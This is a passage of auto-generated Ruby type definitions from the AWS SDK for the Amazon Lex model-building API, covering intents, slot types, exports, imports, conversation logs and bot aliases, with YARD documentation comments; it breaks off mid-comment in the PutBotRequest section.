# @!attribute [rw] export_status
# The status of the export.
#
# * `IN_PROGRESS` - The export is in progress.
#
# * `READY` - The export is complete.
#
# * `FAILED` - The export could not be completed.
# @return [String]
#
# @!attribute [rw] failure_reason
# If `status` is `FAILED`, Amazon Lex provides the reason that it
# failed to export the resource.
# @return [String]
#
# @!attribute [rw] url
# An S3 pre-signed URL that provides the location of the exported
# resource. The exported resource is a ZIP archive that contains the
# exported resource in JSON format. The structure of the archive may
# change. Your code should not rely on the archive structure.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetExportResponse AWS API Documentation
#
class GetExportResponse < Struct.new(
:name,
:version,
:resource_type,
:export_type,
:export_status,
:failure_reason,
:url)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetImportRequest
# data as a hash:
#
# {
# import_id: "String", # required
# }
#
# @!attribute [rw] import_id
# The identifier of the import job information to return.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetImportRequest AWS API Documentation
#
class GetImportRequest < Struct.new(
:import_id)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] name
# The name given to the import job.
# @return [String]
#
# @!attribute [rw] resource_type
# The type of resource imported.
# @return [String]
#
# @!attribute [rw] merge_strategy
# The action taken when there was a conflict between an existing
# resource and a resource in the import file.
# @return [String]
#
# @!attribute [rw] import_id
# The identifier for the specific import job.
# @return [String]
#
# @!attribute [rw] import_status
# The status of the import job. If the status is `FAILED`, you can get
# the reason for the failure from the `failureReason` field.
# @return [String]
#
# @!attribute [rw] failure_reason
# A string that describes why an import job failed to complete.
# @return [Array<String>]
#
# @!attribute [rw] created_date
# A timestamp for the date and time that the import job was created.
# @return [Time]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetImportResponse AWS API Documentation
#
class GetImportResponse < Struct.new(
:name,
:resource_type,
:merge_strategy,
:import_id,
:import_status,
:failure_reason,
:created_date)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetIntentRequest
# data as a hash:
#
# {
# name: "IntentName", # required
# version: "Version", # required
# }
#
# @!attribute [rw] name
# The name of the intent. The name is case sensitive.
# @return [String]
#
# @!attribute [rw] version
# The version of the intent.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetIntentRequest AWS API Documentation
#
class GetIntentRequest < Struct.new(
:name,
:version)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] name
# The name of the intent.
# @return [String]
#
# @!attribute [rw] description
# A description of the intent.
# @return [String]
#
# @!attribute [rw] slots
# An array of intent slots configured for the intent.
# @return [Array<Types::Slot>]
#
# @!attribute [rw] sample_utterances
# An array of sample utterances configured for the intent.
# @return [Array<String>]
#
# @!attribute [rw] confirmation_prompt
# If defined in the bot, Amazon Lex uses prompt to confirm the intent
# before fulfilling the user's request. For more information, see
# PutIntent.
# @return [Types::Prompt]
#
# @!attribute [rw] rejection_statement
# If the user answers "no" to the question defined in
# `confirmationPrompt`, Amazon Lex responds with this statement to
# acknowledge that the intent was canceled.
# @return [Types::Statement]
#
# @!attribute [rw] follow_up_prompt
# If defined in the bot, Amazon Lex uses this prompt to solicit
# additional user activity after the intent is fulfilled. For more
# information, see PutIntent.
# @return [Types::FollowUpPrompt]
#
# @!attribute [rw] conclusion_statement
# After the Lambda function specified in the `fulfillmentActivity`
# element fulfills the intent, Amazon Lex conveys this statement to
# the user.
# @return [Types::Statement]
#
# @!attribute [rw] dialog_code_hook
# If defined in the bot, Amazon Amazon Lex invokes this Lambda
# function for each user input. For more information, see PutIntent.
# @return [Types::CodeHook]
#
# @!attribute [rw] fulfillment_activity
# Describes how the intent is fulfilled. For more information, see
# PutIntent.
# @return [Types::FulfillmentActivity]
#
# @!attribute [rw] parent_intent_signature
# A unique identifier for a built-in intent.
# @return [String]
#
# @!attribute [rw] last_updated_date
# The date that the intent was updated. When you create a resource,
# the creation date and the last updated date are the same.
# @return [Time]
#
# @!attribute [rw] created_date
# The date that the intent was created.
# @return [Time]
#
# @!attribute [rw] version
# The version of the intent.
# @return [String]
#
# @!attribute [rw] checksum
# Checksum of the intent.
# @return [String]
#
# @!attribute [rw] kendra_configuration
# Configuration information, if any, to connect to an Amazon Kendra
# index with the `AMAZON.KendraSearchIntent` intent.
# @return [Types::KendraConfiguration]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetIntentResponse AWS API Documentation
#
class GetIntentResponse < Struct.new(
:name,
:description,
:slots,
:sample_utterances,
:confirmation_prompt,
:rejection_statement,
:follow_up_prompt,
:conclusion_statement,
:dialog_code_hook,
:fulfillment_activity,
:parent_intent_signature,
:last_updated_date,
:created_date,
:version,
:checksum,
:kendra_configuration)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetIntentVersionsRequest
# data as a hash:
#
# {
# name: "IntentName", # required
# next_token: "NextToken",
# max_results: 1,
# }
#
# @!attribute [rw] name
# The name of the intent for which versions should be returned.
# @return [String]
#
# @!attribute [rw] next_token
# A pagination token for fetching the next page of intent versions. If
# the response to this call is truncated, Amazon Lex returns a
# pagination token in the response. To fetch the next page of
# versions, specify the pagination token in the next request.
# @return [String]
#
# @!attribute [rw] max_results
# The maximum number of intent versions to return in the response. The
# default is 10.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetIntentVersionsRequest AWS API Documentation
#
class GetIntentVersionsRequest < Struct.new(
:name,
:next_token,
:max_results)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] intents
# An array of `IntentMetadata` objects, one for each numbered version
# of the intent plus one for the `$LATEST` version.
# @return [Array<Types::IntentMetadata>]
#
# @!attribute [rw] next_token
# A pagination token for fetching the next page of intent versions. If
# the response to this call is truncated, Amazon Lex returns a
# pagination token in the response. To fetch the next page of
# versions, specify the pagination token in the next request.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetIntentVersionsResponse AWS API Documentation
#
class GetIntentVersionsResponse < Struct.new(
:intents,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetIntentsRequest
# data as a hash:
#
# {
# next_token: "NextToken",
# max_results: 1,
# name_contains: "IntentName",
# }
#
# @!attribute [rw] next_token
# A pagination token that fetches the next page of intents. If the
# response to this API call is truncated, Amazon Lex returns a
# pagination token in the response. To fetch the next page of intents,
# specify the pagination token in the next request.
# @return [String]
#
# @!attribute [rw] max_results
# The maximum number of intents to return in the response. The default
# is 10.
# @return [Integer]
#
# @!attribute [rw] name_contains
# Substring to match in intent names. An intent will be returned if
# any part of its name matches the substring. For example, "xyz"
# matches both "xyzabc" and "abcxyz."
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetIntentsRequest AWS API Documentation
#
class GetIntentsRequest < Struct.new(
:next_token,
:max_results,
:name_contains)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] intents
# An array of `Intent` objects. For more information, see PutBot.
# @return [Array<Types::IntentMetadata>]
#
# @!attribute [rw] next_token
# If the response is truncated, the response includes a pagination
# token that you can specify in your next request to fetch the next
# page of intents.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetIntentsResponse AWS API Documentation
#
class GetIntentsResponse < Struct.new(
:intents,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetSlotTypeRequest
# data as a hash:
#
# {
# name: "SlotTypeName", # required
# version: "Version", # required
# }
#
# @!attribute [rw] name
# The name of the slot type. The name is case sensitive.
# @return [String]
#
# @!attribute [rw] version
# The version of the slot type.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetSlotTypeRequest AWS API Documentation
#
class GetSlotTypeRequest < Struct.new(
:name,
:version)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] name
# The name of the slot type.
# @return [String]
#
# @!attribute [rw] description
# A description of the slot type.
# @return [String]
#
# @!attribute [rw] enumeration_values
# A list of `EnumerationValue` objects that defines the values that
# the slot type can take.
# @return [Array<Types::EnumerationValue>]
#
# @!attribute [rw] last_updated_date
# The date that the slot type was updated. When you create a resource,
# the creation date and last update date are the same.
# @return [Time]
#
# @!attribute [rw] created_date
# The date that the slot type was created.
# @return [Time]
#
# @!attribute [rw] version
# The version of the slot type.
# @return [String]
#
# @!attribute [rw] checksum
# Checksum of the `$LATEST` version of the slot type.
# @return [String]
#
# @!attribute [rw] value_selection_strategy
# The strategy that Amazon Lex uses to determine the value of the
# slot. For more information, see PutSlotType.
# @return [String]
#
# @!attribute [rw] parent_slot_type_signature
# The built-in slot type used as a parent for the slot type.
# @return [String]
#
# @!attribute [rw] slot_type_configurations
# Configuration information that extends the parent built-in slot
# type.
# @return [Array<Types::SlotTypeConfiguration>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetSlotTypeResponse AWS API Documentation
#
class GetSlotTypeResponse < Struct.new(
:name,
:description,
:enumeration_values,
:last_updated_date,
:created_date,
:version,
:checksum,
:value_selection_strategy,
:parent_slot_type_signature,
:slot_type_configurations)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetSlotTypeVersionsRequest
# data as a hash:
#
# {
# name: "SlotTypeName", # required
# next_token: "NextToken",
# max_results: 1,
# }
#
# @!attribute [rw] name
# The name of the slot type for which versions should be returned.
# @return [String]
#
# @!attribute [rw] next_token
# A pagination token for fetching the next page of slot type versions.
# If the response to this call is truncated, Amazon Lex returns a
# pagination token in the response. To fetch the next page of
# versions, specify the pagination token in the next request.
# @return [String]
#
# @!attribute [rw] max_results
# The maximum number of slot type versions to return in the response.
# The default is 10.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetSlotTypeVersionsRequest AWS API Documentation
#
class GetSlotTypeVersionsRequest < Struct.new(
:name,
:next_token,
:max_results)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] slot_types
# An array of `SlotTypeMetadata` objects, one for each numbered
# version of the slot type plus one for the `$LATEST` version.
# @return [Array<Types::SlotTypeMetadata>]
#
# @!attribute [rw] next_token
# A pagination token for fetching the next page of slot type versions.
# If the response to this call is truncated, Amazon Lex returns a
# pagination token in the response. To fetch the next page of
# versions, specify the pagination token in the next request.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetSlotTypeVersionsResponse AWS API Documentation
#
class GetSlotTypeVersionsResponse < Struct.new(
:slot_types,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetSlotTypesRequest
# data as a hash:
#
# {
# next_token: "NextToken",
# max_results: 1,
# name_contains: "SlotTypeName",
# }
#
# @!attribute [rw] next_token
# A pagination token that fetches the next page of slot types. If the
# response to this API call is truncated, Amazon Lex returns a
# pagination token in the response. To fetch next page of slot types,
# specify the pagination token in the next request.
# @return [String]
#
# @!attribute [rw] max_results
# The maximum number of slot types to return in the response. The
# default is 10.
# @return [Integer]
#
# @!attribute [rw] name_contains
# Substring to match in slot type names. A slot type will be returned
# if any part of its name matches the substring. For example, "xyz"
# matches both "xyzabc" and "abcxyz."
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetSlotTypesRequest AWS API Documentation
#
class GetSlotTypesRequest < Struct.new(
:next_token,
:max_results,
:name_contains)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] slot_types
# An array of objects, one for each slot type, that provides
# information such as the name of the slot type, the version, and a
# description.
# @return [Array<Types::SlotTypeMetadata>]
#
# @!attribute [rw] next_token
# If the response is truncated, it includes a pagination token that
# you can specify in your next request to fetch the next page of slot
# types.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetSlotTypesResponse AWS API Documentation
#
class GetSlotTypesResponse < Struct.new(
:slot_types,
:next_token)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass GetUtterancesViewRequest
# data as a hash:
#
# {
# bot_name: "BotName", # required
# bot_versions: ["Version"], # required
# status_type: "Detected", # required, accepts Detected, Missed
# }
#
# @!attribute [rw] bot_name
# The name of the bot for which utterance information should be
# returned.
# @return [String]
#
# @!attribute [rw] bot_versions
# An array of bot versions for which utterance information should be
# returned. The limit is 5 versions per request.
# @return [Array<String>]
#
# @!attribute [rw] status_type
# To return utterances that were recognized and handled, use
# `Detected`. To return utterances that were not recognized, use
# `Missed`.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetUtterancesViewRequest AWS API Documentation
#
class GetUtterancesViewRequest < Struct.new(
:bot_name,
:bot_versions,
:status_type)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] bot_name
# The name of the bot for which utterance information was returned.
# @return [String]
#
# @!attribute [rw] utterances
# An array of UtteranceList objects, each containing a list of
# UtteranceData objects describing the utterances that were processed
# by your bot. The response contains a maximum of 100 `UtteranceData`
# objects for each version. Amazon Lex returns the most frequent
# utterances received by the bot in the last 15 days.
# @return [Array<Types::UtteranceList>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/GetUtterancesViewResponse AWS API Documentation
#
class GetUtterancesViewResponse < Struct.new(
:bot_name,
:utterances)
SENSITIVE = []
include Aws::Structure
end
# Identifies the specific version of an intent.
#
# @note When making an API call, you may pass Intent
# data as a hash:
#
# {
# intent_name: "IntentName", # required
# intent_version: "Version", # required
# }
#
# @!attribute [rw] intent_name
# The name of the intent.
# @return [String]
#
# @!attribute [rw] intent_version
# The version of the intent.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/Intent AWS API Documentation
#
class Intent < Struct.new(
:intent_name,
:intent_version)
SENSITIVE = []
include Aws::Structure
end
# Provides information about an intent.
#
# @!attribute [rw] name
# The name of the intent.
# @return [String]
#
# @!attribute [rw] description
# A description of the intent.
# @return [String]
#
# @!attribute [rw] last_updated_date
# The date that the intent was updated. When you create an intent, the
# creation date and last updated date are the same.
# @return [Time]
#
# @!attribute [rw] created_date
# The date that the intent was created.
# @return [Time]
#
# @!attribute [rw] version
# The version of the intent.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/IntentMetadata AWS API Documentation
#
class IntentMetadata < Struct.new(
:name,
:description,
:last_updated_date,
:created_date,
:version)
SENSITIVE = []
include Aws::Structure
end
# An internal Amazon Lex error occurred. Try your request again.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/InternalFailureException AWS API Documentation
#
class InternalFailureException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# Provides configuration information for the AMAZON.KendraSearchIntent
# intent. When you use this intent, Amazon Lex searches the specified
# Amazon Kendra index and returns documents from the index that match
# the user's utterance. For more information, see [
# AMAZON.KendraSearchIntent][1].
#
#
#
# [1]: http://docs.aws.amazon.com/lex/latest/dg/built-in-intent-kendra-search.html
#
# @note When making an API call, you may pass KendraConfiguration
# data as a hash:
#
# {
# kendra_index: "KendraIndexArn", # required
# query_filter_string: "QueryFilterString",
# role: "roleArn", # required
# }
#
# @!attribute [rw] kendra_index
# The Amazon Resource Name (ARN) of the Amazon Kendra index that you
# want the AMAZON.KendraSearchIntent intent to search. The index must
# be in the same account and Region as the Amazon Lex bot. If the
# Amazon Kendra index does not exist, you get an exception when you
# call the `PutIntent` operation.
# @return [String]
#
# @!attribute [rw] query_filter_string
# A query filter that Amazon Lex sends to Amazon Kendra to filter the
# response from the query. The filter is in the format defined by
# Amazon Kendra. For more information, see [Filtering queries][1].
#
# You can override this filter string with a new filter string at
# runtime.
#
#
#
# [1]: http://docs.aws.amazon.com/kendra/latest/dg/filtering.html
# @return [String]
#
# @!attribute [rw] role
# The Amazon Resource Name (ARN) of an IAM role that has permission to
# search the Amazon Kendra index. The role must be in the same account
# and Region as the Amazon Lex bot. If the role does not exist, you
# get an exception when you call the `PutIntent` operation.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/KendraConfiguration AWS API Documentation
#
class KendraConfiguration < Struct.new(
:kendra_index,
:query_filter_string,
:role)
SENSITIVE = []
include Aws::Structure
end
# The request exceeded a limit. Try your request again.
#
# @!attribute [rw] retry_after_seconds
# @return [String]
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/LimitExceededException AWS API Documentation
#
class LimitExceededException < Struct.new(
:retry_after_seconds,
:message)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass ListTagsForResourceRequest
# data as a hash:
#
# {
# resource_arn: "AmazonResourceName", # required
# }
#
# @!attribute [rw] resource_arn
# The Amazon Resource Name (ARN) of the resource to get a list of tags
# for.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/ListTagsForResourceRequest AWS API Documentation
#
class ListTagsForResourceRequest < Struct.new(
:resource_arn)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] tags
# The tags associated with a resource.
# @return [Array<Types::Tag>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/ListTagsForResourceResponse AWS API Documentation
#
class ListTagsForResourceResponse < Struct.new(
:tags)
SENSITIVE = []
include Aws::Structure
end
# Settings used to configure delivery mode and destination for
# conversation logs.
#
# @note When making an API call, you may pass LogSettingsRequest
# data as a hash:
#
# {
# log_type: "AUDIO", # required, accepts AUDIO, TEXT
# destination: "CLOUDWATCH_LOGS", # required, accepts CLOUDWATCH_LOGS, S3
# kms_key_arn: "KmsKeyArn",
# resource_arn: "ResourceArn", # required
# }
#
# @!attribute [rw] log_type
# The type of logging to enable. Text logs are delivered to a
# CloudWatch Logs log group. Audio logs are delivered to an S3 bucket.
# @return [String]
#
# @!attribute [rw] destination
# Where the logs will be delivered. Text logs are delivered to a
# CloudWatch Logs log group. Audio logs are delivered to an S3 bucket.
# @return [String]
#
# @!attribute [rw] kms_key_arn
# The Amazon Resource Name (ARN) of the AWS KMS customer managed key
# for encrypting audio logs delivered to an S3 bucket. The key does
# not apply to CloudWatch Logs and is optional for S3 buckets.
# @return [String]
#
# @!attribute [rw] resource_arn
# The Amazon Resource Name (ARN) of the CloudWatch Logs log group or
# S3 bucket where the logs should be delivered.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/LogSettingsRequest AWS API Documentation
#
class LogSettingsRequest < Struct.new(
:log_type,
:destination,
:kms_key_arn,
:resource_arn)
SENSITIVE = []
include Aws::Structure
end
# The settings for conversation logs.
#
# @!attribute [rw] log_type
# The type of logging that is enabled.
# @return [String]
#
# @!attribute [rw] destination
# The destination where logs are delivered.
# @return [String]
#
# @!attribute [rw] kms_key_arn
# The Amazon Resource Name (ARN) of the key used to encrypt audio logs
# in an S3 bucket.
# @return [String]
#
# @!attribute [rw] resource_arn
# The Amazon Resource Name (ARN) of the CloudWatch Logs log group or
# S3 bucket where the logs are delivered.
# @return [String]
#
# @!attribute [rw] resource_prefix
# The resource prefix is the first part of the S3 object key within
# the S3 bucket that you specified to contain audio logs. For
# CloudWatch Logs it is the prefix of the log stream name within the
# log group that you specified.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/LogSettingsResponse AWS API Documentation
#
class LogSettingsResponse < Struct.new(
:log_type,
:destination,
:kms_key_arn,
:resource_arn,
:resource_prefix)
SENSITIVE = []
include Aws::Structure
end
# The message object that provides the message text and its type.
#
# @note When making an API call, you may pass Message
# data as a hash:
#
# {
# content_type: "PlainText", # required, accepts PlainText, SSML, CustomPayload
# content: "ContentString", # required
# group_number: 1,
# }
#
# @!attribute [rw] content_type
# The content type of the message string.
# @return [String]
#
# @!attribute [rw] content
# The text of the message.
# @return [String]
#
# @!attribute [rw] group_number
# Identifies the message group that the message belongs to. When a
# group is assigned to a message, Amazon Lex returns one message from
# each group in the response.
# @return [Integer]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/Message AWS API Documentation
#
class Message < Struct.new(
:content_type,
:content,
:group_number)
SENSITIVE = []
include Aws::Structure
end
# The resource specified in the request was not found. Check the
# resource and try again.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/NotFoundException AWS API Documentation
#
class NotFoundException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# The checksum of the resource that you are trying to change does not
# match the checksum in the request. Check the resource's checksum and
# try again.
#
# @!attribute [rw] message
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/PreconditionFailedException AWS API Documentation
#
class PreconditionFailedException < Struct.new(
:message)
SENSITIVE = []
include Aws::Structure
end
# Obtains information from the user. To define a prompt, provide one or
# more messages and specify the number of attempts to get information
# from the user. If you provide more than one message, Amazon Lex
# chooses one of the messages to use to prompt the user. For more
# information, see how-it-works.
#
# @note When making an API call, you may pass Prompt
# data as a hash:
#
# {
# messages: [ # required
# {
# content_type: "PlainText", # required, accepts PlainText, SSML, CustomPayload
# content: "ContentString", # required
# group_number: 1,
# },
# ],
# max_attempts: 1, # required
# response_card: "ResponseCard",
# }
#
# @!attribute [rw] messages
# An array of objects, each of which provides a message string and its
# type. You can specify the message string in plain text or in Speech
# Synthesis Markup Language (SSML).
# @return [Array<Types::Message>]
#
# @!attribute [rw] max_attempts
# The number of times to prompt the user for information.
# @return [Integer]
#
# @!attribute [rw] response_card
# A response card. Amazon Lex uses this prompt at runtime, in the
# `PostText` API response. It substitutes session attributes and slot
# values for placeholders in the response card. For more information,
# see ex-resp-card.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/Prompt AWS API Documentation
#
class Prompt < Struct.new(
:messages,
:max_attempts,
:response_card)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass PutBotAliasRequest
# data as a hash:
#
# {
# name: "AliasName", # required
# description: "Description",
# bot_version: "Version", # required
# bot_name: "BotName", # required
# checksum: "String",
# conversation_logs: {
# log_settings: [ # required
# {
# log_type: "AUDIO", # required, accepts AUDIO, TEXT
# destination: "CLOUDWATCH_LOGS", # required, accepts CLOUDWATCH_LOGS, S3
# kms_key_arn: "KmsKeyArn",
# resource_arn: "ResourceArn", # required
# },
# ],
# iam_role_arn: "IamRoleArn", # required
# },
# tags: [
# {
# key: "TagKey", # required
# value: "TagValue", # required
# },
# ],
# }
#
# @!attribute [rw] name
# The name of the alias. The name is *not* case sensitive.
# @return [String]
#
# @!attribute [rw] description
# A description of the alias.
# @return [String]
#
# @!attribute [rw] bot_version
# The version of the bot.
# @return [String]
#
# @!attribute [rw] bot_name
# The name of the bot.
# @return [String]
#
# @!attribute [rw] checksum
# Identifies a specific revision of the `$LATEST` version.
#
# When you create a new bot alias, leave the `checksum` field blank.
# If you specify a checksum you get a `BadRequestException` exception.
#
# When you want to update a bot alias, set the `checksum` field to the
# checksum of the most recent revision of the `$LATEST` version. If
# you don't specify the ` checksum` field, or if the checksum does
# not match the `$LATEST` version, you get a
# `PreconditionFailedException` exception.
# @return [String]
#
# @!attribute [rw] conversation_logs
# Settings for conversation logs for the alias.
# @return [Types::ConversationLogsRequest]
#
# @!attribute [rw] tags
# A list of tags to add to the bot alias. You can only add tags when
# you create an alias, you can't use the `PutBotAlias` operation to
# update the tags on a bot alias. To update tags, use the
# `TagResource` operation.
# @return [Array<Types::Tag>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/PutBotAliasRequest AWS API Documentation
#
class PutBotAliasRequest < Struct.new(
:name,
:description,
:bot_version,
:bot_name,
:checksum,
:conversation_logs,
:tags)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] name
# The name of the alias.
# @return [String]
#
# @!attribute [rw] description
# A description of the alias.
# @return [String]
#
# @!attribute [rw] bot_version
# The version of the bot that the alias points to.
# @return [String]
#
# @!attribute [rw] bot_name
# The name of the bot that the alias points to.
# @return [String]
#
# @!attribute [rw] last_updated_date
# The date that the bot alias was updated. When you create a resource,
# the creation date and the last updated date are the same.
# @return [Time]
#
# @!attribute [rw] created_date
# The date that the bot alias was created.
# @return [Time]
#
# @!attribute [rw] checksum
# The checksum for the current version of the alias.
# @return [String]
#
# @!attribute [rw] conversation_logs
# The settings that determine how Amazon Lex uses conversation logs
# for the alias.
# @return [Types::ConversationLogsResponse]
#
# @!attribute [rw] tags
# A list of tags associated with a bot.
# @return [Array<Types::Tag>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/lex-models-2017-04-19/PutBotAliasResponse AWS API Documentation
#
class PutBotAliasResponse < Struct.new(
:name,
:description,
:bot_version,
:bot_name,
:last_updated_date,
:created_date,
:checksum,
:conversation_logs,
:tags)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass PutBotRequest
# data as a hash:
#
# {
# name: "BotName", # required
# description: "Description",
# intents: [
# {
# intent_name: "IntentName", # required
# intent_version: "Version", # required
# },
# ],
# enable_model_improvements: false,
# nlu_intent_confidence_threshold: 1.0,
# clarification_prompt: {
# messages: [ # required
# {
# content_type: "PlainText", # required, accepts PlainText, SSML, CustomPayload
# content: "ContentString", # required
# group_number: 1,
# },
# ],
# max_attempts: 1, # required
# response_card: "ResponseCard",
# },
# abort_statement: {
# messages: [ # required
# {
# content_type: "PlainText", # required, accepts PlainText, SSML, CustomPayload
# content: "ContentString", # required
# group_number: 1,
# },
# ],
# response_card: "ResponseCard",
# },
# idle_session_ttl_in_seconds: 1,
# voice_id: "String",
# checksum: "String",
# process_behavior: "SAVE", # accepts SAVE, BUILD
# locale: "de-DE", # required, accepts de-DE, en-AU, en-GB, en-US, es-US
# child_directed: false, # required
# detect_sentiment: false,
# create_version: false,
# tags: [
# {
# key: "TagKey", # required
# value: "TagValue", # required
# },
# ],
# }
#
# @!attribute [rw] name
# The name of the bot. The name is *not* case sensitive.
# @return [String]
#
# @!attribute [rw] description
# A description of the bot.
# @return [String]
#
# @!attribute [rw] intents
# An array of `Intent` objects. Each intent represents a command that
# a user can express. For example, a pizza ordering bot might support
# an OrderPizza intent. For more information, see how-it-works.
# @return [Array<Types::Intent>]
#
# @!attribute [rw] enable_model_improvements
# Set to `true` to enable access to natural language understanding
# improvements.
#
# When you set the `enableModelImprovements` parameter to `true` you
# can use the `nluIntentConfidenceThreshold` parameter to configure
# confidence scores. For more information, see [Confidence Scores][1].
#
# You can only set the `enableModelImprovements` parameter in certain
# Regions. If you set the parameter to `true`, your bot has access to
# accuracy improvements.
#
# The Regions where you can set the `enableModelImprovements`
# parameter to `true` are:
#
# * US East (N. Virginia) (us-east-1)
#
# * US West (Oregon) (us-west-2)
#
# * Asia Pacific (Sydney) (ap-southeast-2)
#
# * EU (Ireland) (eu-west-1)
#
# In other Regions, the `enableModelImprovements` parameter is set to
# `true` by default. In these Regions setting the parameter to `false`
# throws a `ValidationException` exception.
#
# * Asia Pacific (Singapore) (ap-southeast-1)
#
# * Asia Pacific (Tokyo) (ap-northeast-1)
#
# * EU (Frankfurt) (eu-central-1)
#
# * EU (London) (eu-west-2)
#
#
#
# [1]: https://docs.aws.amazon.com/lex/latest/dg/confidence-scores.html
# @return [Boolean]
#
# @!attribute [rw] nlu_intent_confidence_threshold
# Determines the threshold where Amazon Lex will insert the
# `AMAZON.FallbackIntent`, `AMAZON.KendraSearchIntent`, or both when
# returning alternative intents in a [PostContent][1] or [PostText][2]
# response. `AMAZON.FallbackIntent` and `AMAZON.KendraSearchIntent`
# are only inserted if they are configured for the bot.
#
# You must set the `enableModelImprovements` parameter to `true` to
# use confidence scores.
#
# * US East (N. Virginia) (us-east-1)
#
# * US West (Oregon) (us-west-2)
#
# * Asia Pacific (Sydney) (ap-southeast-2)
#
# * EU (Ireland) (eu-west-1)
#
# In other Regions, the `enableModelImprovements` parameter is set to
# `true` by default.
#
# For example, suppose a bot is configured with the confidence
# threshold of 0.80 and the `AMAZON.FallbackIntent`. Amazon Lex
# returns three alternative intents with the following confidence
# scores: IntentA (0.70), IntentB (0.60), IntentC (0.50). The response
# from the `PostText` operation would be:
#
# * AMAZON.FallbackIntent
#
# * IntentA
#
# * IntentB
#
# * IntentC
#
#
#
# [1]: https://docs.aws.amazon.com/lex/latest/dg/API_runtime_PostContent.html
# [2]: https://docs.aws.amazon.com/lex/latest/dg/API_runtime_PostText.html
# @return [Float]
#
# @!attribute [rw] clarification_prompt
# When Amazon Lex doesn't understand the user's intent, it uses this
# message to get clarification. To specify how many times Amazon Lex
# should repeat the clarification prompt, use the `maxAttempts` field.
# If Amazon Lex still doesn't understand, it sends the message in the
# `abortStatement` field.
#
# When you create a clarification prompt, make sure that it suggests
# the correct response from the user. for example, for a bot that
# orders pizza and drinks, you might create this clarification prompt:
# "What would you like to do? You can say 'Order a pizza' or
# 'Order a drink.'"
#
# If you have defined a fallback intent, it will be invoked if the
# clarification prompt is repeated the number of times defined in the
# `maxAttempts` field. For more information, see [
# AMAZON.FallbackIntent][1].
#
# If you don't define a clarification prompt, at runtime Amazon Lex
# will return a 400 Bad Request exception in three cases:
#
# * Follow-up prompt - When the user responds to a follow-up prompt
# but does not provide an intent. For example, in response to a
# follow-up prompt that says "Would you like anything else today?"
# the user says "Yes." Amazon Lex will return a 400 Bad Request
# exception because it does not have a clarification prompt to send
# to the user to get an intent.
#
# * Lambda function - When using a Lambda function, you return an
